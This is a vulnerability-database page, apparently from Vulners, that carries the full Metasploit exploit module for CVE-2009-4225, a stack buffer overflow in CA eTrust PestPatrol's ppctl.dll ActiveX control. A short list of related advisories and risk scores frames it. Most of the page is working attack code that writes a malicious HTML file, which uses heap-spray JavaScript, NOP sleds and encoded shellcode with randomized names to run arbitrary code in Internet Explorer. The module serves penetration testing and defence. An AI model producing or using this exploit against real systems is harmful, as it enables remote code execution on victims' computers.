CA eTrust PestPatrol ActiveX Control Buffer Overflow

🗓️ 15 Oct 2009 15:22:16Reported by MC <[email protected]>Type

CA eTrust PestPatrol ActiveX Control Buffer Overflo

Reporter	Title	Published	Views	Family All 9
Circl	CVE-2009-4225	11 Nov 201000:00	–	circl
Check Point Advisories	Ca eTrust PestPatrol Antispyware ActiveX Buffer Overflow106 - Ver2 (CVE-2009-4225)	18 May 201500:00	–	checkpoint_advisories
CVE	CVE-2009-4225	8 Dec 200918:00	–	cve
Cvelist	CVE-2009-4225	8 Dec 200918:00	–	cvelist
Exploit DB	CA eTrust PestPatrol - ActiveX Control Buffer Overflow (Metasploit)	11 Nov 201000:00	–	exploitdb
NVD	CVE-2009-4225	8 Dec 200918:30	–	nvd
OpenVAS	CA eTrust PestPatrol Anti-Spyware 'ppctl.dll' ActiveX Control BOF Vulnerability	17 Dec 200900:00	–	openvas
OpenVAS	CA eTrust PestPatrol Anti-Spyware 'ppctl.dll' ActiveX Control BOF Vulnerability	17 Dec 200900:00	–	openvas
Prion	Stack overflow	8 Dec 200918:30	–	prion

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'CA eTrust PestPatrol ActiveX Control Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack buffer overflow in CA eTrust PestPatrol. When
        sending an overly long string to the Initialize() property of ppctl.dll (5.6.7.9)
        an attacker may be able to execute arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'MC' ],
      'References'     =>
        [
          [ 'CVE', '2009-4225' ],
          [ 'OSVDB', '60862']
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ]
        ],
      'DisclosureDate' => '2009-11-02',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.',  'msf.html']),
      ])
  end

  def exploit
    # Encode the shellcode.
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Create some nops.
    nops    = Rex::Text.to_unescape(make_nops(4))

    # Set the return.
    ret     = Rex::Text.uri_encode([target.ret].pack('L'))

    # Randomize the javascript variable names.
    vname  = rand_text_alpha(rand(100) + 1)
    var_i  = rand_text_alpha(rand(30)  + 2)
    rand1  = rand_text_alpha(rand(100) + 1)
    rand2  = rand_text_alpha(rand(100) + 1)
    rand3  = rand_text_alpha(rand(100) + 1)
    rand4  = rand_text_alpha(rand(100) + 1)
    rand5  = rand_text_alpha(rand(100) + 1)
    rand6  = rand_text_alpha(rand(100) + 1)
    rand7  = rand_text_alpha(rand(100) + 1)
    rand8  = rand_text_alpha(rand(100) + 1)

    content = %Q|<html>
<object id='#{vname}' classid='clsid:5E644C49-F8B0-4E9A-A2ED-5F176BB18CE6'></object>
<script language="JavaScript">
var #{rand1} = unescape('#{shellcode}');
var #{rand2} = unescape('#{nops}');
var #{rand3} = 20;
var #{rand4} = #{rand3} + #{rand1}.length;
while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
var #{rand5} = #{rand2}.substring(0,#{rand4});
var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
var #{rand7} = new Array();
for (#{var_i} = 0; #{var_i} < 400; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
var #{rand8} = "";
for (#{var_i} = 0; #{var_i} < 14500; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
#{vname}.Initialize(#{rand8});
</script>
</html>
|

    content = Rex::Text.randomize_space(content)

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(content)
  end
end

02 Oct 2020 20:00Current

7.9High risk

Vulners AI Score7.9

CVSS 29.3

EPSS0.30619